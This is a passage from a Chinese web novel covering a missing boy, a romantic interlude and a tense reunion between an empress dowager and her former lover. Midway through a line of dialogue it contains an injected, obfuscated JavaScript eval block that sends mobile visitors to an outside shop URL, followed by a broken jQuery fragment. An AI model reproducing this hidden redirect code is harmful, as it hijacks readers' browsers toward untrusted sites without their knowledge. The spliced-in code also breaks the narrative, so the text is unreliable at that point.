但姜菀不明白,刘安夫妇为何会出现在这里。
她看向豆子,没有再继续问下去,而是对宝环说,“把包袱里的吃食都留给她吧。”
宝环依言解下了包袱,里边还有不少麦饼、馒头、烧饼之类的,她递给豆子,嘱咐道,“拿着吧,若是有人问你要,千万不能给。”
豆子愣愣地点头,她看向面前的三人,眼中积蓄起不少泪水。
她对着三人道谢,“谢谢姐姐哥哥,真的很谢谢你们!”说着,她鞠了个躬。
姜菀扶起她,说道,“好好照顾自己,我们帮你去找哥哥。”
其实,他们心中隐隐有些猜测,只不过不怎么乐观,但为了不让豆子担忧,他们谁都没有说。
回程的路上,他们都沉默着,宝环是北夷人,并不了解宸启,而江易陵虽然是宸启人,可他自小在汴京长大,对淮安也不甚了解。
三人中,只有姜菀是土生土长的本地人。
是以,她也听说过那个传闻,刘安的夫人于雪莲一直没有身孕,是因为刘安乃断袖。
听说他府上全是清一色的男人,只有于雪莲身边带着两个陪嫁丫鬟。
姜菀对着江易陵说,“这件事恐怕没有那么简单,这刘安不仅赶在梅雨季之前把粳米库存清空,还亲自跑到流民驻扎地买劳力,怎么想都觉得有鬼。”
江易陵紧了紧马绳,对她道,“豆子的哥哥怕是凶多吉少。”
宝环听了个大概,直言道,“那我们现在是回府还是去那个刘安的府上?”
姜菀还真没想过这事,她担心姜守年,想回去看看他,但是转念一想日后有的是机会见,不如先去解决刘安的事情,可是刘安那里她不经常去,害怕被使诈……
正在她犹豫间,江易陵说道,“这样吧,我陪你去刘安府上,就说喜得麟儿,去请他们吃个满月酒,宝环就不必跟着去了,先回府看看岳父回去没。”
姜菀微微皱眉,岳父……谁是他岳父?
“不要在意称呼,叫得越亲密,可信度越高。”江易陵拍拍她的肩,示意她别拘小节,随后把缰绳交给宝环,“走吧,我和菀儿再走不远就到刘安府上了。”
宝环看了看姜菀,对方朝她点头,她这才放心驾车离去。
直到看不见马车的身影,江易陵这才蹲下身,把后背展露到她面前,“上来吧,这里路不好走,我背你。”
姜菀低头一看,确实坑坑洼洼,梅雨季使得到处湿漉漉的,有些坑洼处甚至还有积水,一个不小心踩到了不仅会弄脏鞋袜,还会溅到衣服上。
“那……有劳了。”姜菀趴到他的背上,两只手揽住他的脖颈,把自己全身的重量都压在他身上。
江易陵没说什么,背起她就往前走,他走得极稳,而且还快。
姜菀不禁感觉有些惊讶,这才相处了多久,她竟然感觉江易陵仿佛无处不在,就在她身边时刻待命,这种无孔不入的感觉,让她有些惶恐。
她总觉得,江易陵好像别有用心。
*
宁月再次醒来时已经分不清是何时辰,只记得窗外传来小贩叫卖的声音,是糖水。
李显推开门便看到她坐在窗边发呆,将手中的糖水放下便拿起外衣给她披上,“小心着凉,我买了些吃的,先吃点,茶楼的厨房不如客栈好,晚上带你回客栈吃。”
宁月还有些没睡醒,揉着眼睛看向他,朝他伸出双手。
李显一愣,顿时明白过来,走过去抱起她,放到那碗糖水面前,“尝尝吧,看到街边很多小孩都爱吃。”
普通的老百姓家的糖水是不加冰的,因为冰不方便储存,而且价格昂贵,多位皇室贵族所用。
但是吃糖水又想让其中有点凉意,所以大都用薄荷熬煮,佐以各种配料制成糖水。
“小孩爱吃……你买给我?”宁月疑惑,看着李显的眼神中带着若有若无的警告。
但这眼神毫无杀伤力,反而像一只没吃饱的狸奴。威胁人给它好吃的,不给就挠你!
可命运的后脖颈却被人捏住,宁月被李显突如其来的吻惊到,慢慢放松下来。
两人唇舌分离之际,牵扯出一根极细的银丝,可风一吹过,很快又消失不见。
“你和小孩也没什么区别……”李显还在回味刚刚那个吻,话不经意间脱口而出,宁月推搡了一下他的肩膀,手却没能抽回来。
李显握住她的手,对她道,“还要不要吃糖水了?”宁月立马端起一碗,护在怀中,“吃,当然吃。”
说完,她舀起一勺放入口中,清甜的口感在舌尖蔓延,用红豆熬制的蜜豆也特别软糯,好吃得仿佛要将人融化。
李显看她吃得开心,伸手擦去她嘴边的奶沫,“还吃吗?我这碗也给你。”说着,把自己那碗糖水朝她推了推。
“不吃了,这个吃多了会长胖……”她看向自己的腰间赘肉,好像比之前更大了一些。
李显将她未吃完的那碗端过来,打扫了个干净,随后又把另一碗吃干净,对她道,“走吧,我们回客栈,还有些事得说清楚。”
宁月隐约猜得到是什么,任由他牵着自己走,路过那个糖水摊,李显将碗还了回去。
*
客栈内
梁太后这几日身体比在宸启时好了不少,她吃得也比以往多一些,精神头也更好了。
穆少安每日都来求见她,但都以身体不适为由拒绝了。
他不死心,今日又来了。
瑞芝刚伺候完梁太后用膳,见又是他,立马便想开口回绝,谁知却被梁太后拉住了手臂。
“让他进来吧……这么多年过去了,有些话也得说开。”她喝完最后一口米粥,放下碗,对着瑞芝点了点头。
终于,瑞芝叹了口气,随即便去打开了门。
穆少安站在门外,耷拉的头在一瞬间抬了起来,见到她,倒是又有些拘谨起来。
“我……”他想解释,但是又不知道该解释什么。
梁太后笑笑,对他说道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741504|206243||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,“进来吧,有什么话坐下说。”随后她看了一眼瑞芝,示意她出去。
穆少安见屋内没有旁人,只有他们,这才放松了不少,他小心翼翼地开口,问道,“许多年不见,你……你可还好?”
“我挺好的。”梁太后笑笑,给他倒了一杯茶,“你呢,和满满可还好?”
穆少安看着她的笑靥,心中有些不是滋味,他不明白,为什么曾经那么相爱的两个人,如今就和普通人一样坐在这里虚假地寒暄?
“雨棠,什么才算好?你呢,你和李佑好吗?”他有些生气,反问道。
“李佑待我很好,我们之间也很好,穆少安,我们都不再年少,或许你该学着放下过去,不然被困住的是你自己……”
梁太后苦口婆心,她太知道这种滋味儿了,只不过她比穆少安更早跳了出来,放过了自己。
“我不相信,我不相信你心里真的放下了我,我们曾经那么相爱,都怪李佑横插一脚,都怪他!”
穆少安情绪有些激动,梁太后却微不可察地蹙眉,说道,“穆少安,你如今怎么变成了这副模样?李佑再怎么样,他都没有做对不起你的事,况且,那时就算我与你回了边关,你依然会娶满满做王妃,而我,绝不会与人为妾。”
作为青梅竹马的初恋,她本来不想把话说得太重,但她觉得如果不把话说重了,穆少安可能会一辈子沉浸在自我感动中。
“我……确实是我的错,但是那时我与满满说好了,她做我的王妃帮我登上王位,然后我们和离,到时你嫁给我便是正妃……”
穆少安说着,梁太后心中却五味杂陈,她竟然不知道满满为了穆少安竟然能到这个地步。
“你竟然对满满提这么过分的要求!”她将桌子重重一拍,还未撤下去的碗筷滚了几圈后掉落在地上,发出“嗒吧”一声。
梁太后气得手抖,穆少安却全然不懂她生气的点,“这怎么了?我们三个从小一起玩儿到大,满满她知道我喜欢你,所以她这样做完全是出于朋友之间……”
“你的朋友会愿意给你生孩子?穆少安,我从来不知道你是这样的人,你真的太让我失望了。”
她缓缓深吸一口气,而后又慢慢吐出来,“你只不过是在仗着满满喜欢你,肆意伤害她罢了……”
穆少安冷笑一声,说道,“难道世间所有女子喜欢我,我都要去回应?”
“你当然不必都回应,但是对满满,你真的过分了,你可以不喜欢她,甚至可以放任她离去,但是为什么将她留在身边搓磨一辈子,却不好好待她?”
穆宁真闻言,也不由得思考起来,是啊,为什么当时满满说要离开他却拦着不让呢?
“我没有不好好待她……”
他回想起曾经,一点儿想不出有哪里对满满不好,王庭内锦衣玉食,他只有她一个女人,算得上是好夫君好父亲了。
并且,他还十分不愿承认,当初满满说的那句下辈子再也不见,他听了心中莫名不爽。